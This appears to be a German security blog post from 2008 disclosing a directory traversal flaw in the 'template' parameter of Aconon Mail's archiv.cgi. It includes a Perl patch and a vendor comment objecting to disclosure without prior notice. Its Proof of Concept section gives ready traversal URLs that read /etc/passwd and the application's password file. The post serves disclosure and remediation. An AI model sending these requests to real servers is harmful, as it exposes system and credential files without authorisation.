«

»

Jan
24
2008

Directory Traversal Lücke in Aconon Mail

Aconon Mail ist eine kommerzielle, featurelastige Newsletter Software:

Hintergrund

Von der Homepage:

Mit aconon® Mail erhalten Sie die optimale Softwarelösung zum Einsatz von E-Mail Marketing in Ihrem Unternehmen. Dabei bietet Ihnen aconon® Mail umfangreiche Einsatzmöglichkeiten. aconon® Mail kann als professionelle Newsletter Software, für automatisierte Beantwortungen auf Formularanfragen oder für E-Mail-Kommunikation im ansprechenden und funktionalen HTML- / Multipart-Format eingesetzt werden.

Beschreibung

Eher zufällig stolperte ich nun über eine kritische Directory Traversal Lücke, die es ermöglich beliebige Dateien auf dem Webserver auszuspähen. Das Script beinhaltet ein öffentlich zugängliches Newsletterarchiv, das über den Webbrowser abgerufen werden kann (Skript: “http://websi.te/aconon-installationsverzeichnis/archiv.cgi“).

Darüber sind alle jemals verfasste E-Mails ohne jede Authentifizierung abrufbar, in einem Template verpackt. Das Template kann über die Benutzereingabe ungeprüft vom Klienten verändert werden. Der dort über den Parameter “template=” angegebene Pfad wird jedoch nicht überprüft und ermöglicht so den Directory Traversal.

Betroffene Versionen

Vermutlich alle. Verfiziert gegen

  • Version: 2007 Enterprise SQL 11.7.0
  • Version: 2004 Enterprise SQL 11.5.1

Betroffene Plattformen

Alle auf denen Aconon Mail läuft (Win32/Linux/Solaris).

Proof of Concept

  • http://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=../../../../../../etc/passwd&link=%3C%3C%3C%3C
  • http://www.aconon.de/mail-demo/archiv.cgi?list=&file=Newsletter-HtmlNachricht.save&template=data/password.pl&link=%3C%3C%3C%3C

Workaround/Patch

Ein offizieller Patch ist nicht verfügbar. Abhilfe schafft solange folgender Fix, in archiv.cgi:

Nach der Zeile

$FORM{'template'} =~ s/\|//g;

folgendes einfügen:

use File::Basename;
$FORM{'template'} = ($FORM{'template'}) ? basename($FORM{'template'}) : "";
if ($FORM{'template'} && $FORM{'template'} !~ /\.html$/) {
&error ("$TXT{'1501'}");
}

Oder den Patch benutzen.

Update

Die zugehörige Veröffentlichung auf Full Disclosure.

1 comment

1 ping

  1. Christian Görs says:

    Hallo,

    danke für den Tipp und auch gleichzeitig für die Lösung des Problems! Per Update kann jeder Kunde seine Version jetzt mit dem Patch versorgen und auf die aktuelle version 11.7.1 updaten.
    Trotzdem schade, dass wir keine Gelegenheit bekommen haben, einen Patch bereitzustellen und unsere Kunden zu informieren, BEVOR jedes Script-Kiddie die Möglichkeit bekam mit dieser genauen Anleitung Schaden anzurichten.

    Gruß
    Christian Görs
    absofort.de

  1. Systech Solutions » Blog Archive » US-Cert: Vulnerability Summary for the Week of January 21, 2008 says:

    [...] CVE-2008-0464 FULLDISC MILW0RM OTHER-REF BID SECUNIA [...]

Leave a Reply

Your email address will not be published.

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong> <pre lang="" line="" escaped="">